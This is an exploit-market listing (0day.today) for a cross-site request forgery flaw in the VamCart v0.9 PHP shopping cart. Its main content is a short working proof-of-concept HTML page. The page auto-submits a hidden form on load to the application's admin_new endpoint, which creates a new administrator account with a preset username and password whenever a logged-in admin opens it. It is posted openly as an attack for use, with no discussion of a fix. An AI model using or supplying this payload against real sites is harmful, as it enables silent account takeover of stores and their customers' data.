[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

VamCart v0.9 CSRF Vulnerability

Author
DaOne
Risk
[
Security Risk Low
]
0day-ID
0day-ID-19236
Category
web applications
Date add
22-08-2012
Platform
php
# Exploit Title: VamCart v0.9 CSRF Vulnerability
# Date: 20/08/2012
# Author: DaOne
# Software Link: http://vamcart.googlecode.com/files/vamcart.zip
# Greetings to: LCA

# CSRF Add Admin:

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="http://[target]/users/admin_new/">
<input type="hidden" name="data[User][username]" value="webadmin">
<input type="hidden" name="data[User][email]" value="admin@email.com"/>
<input type="hidden" name="data[User][password]" value="pass123"/>
</form>
</body>
</html>



#  0day.today [2024-11-15]  #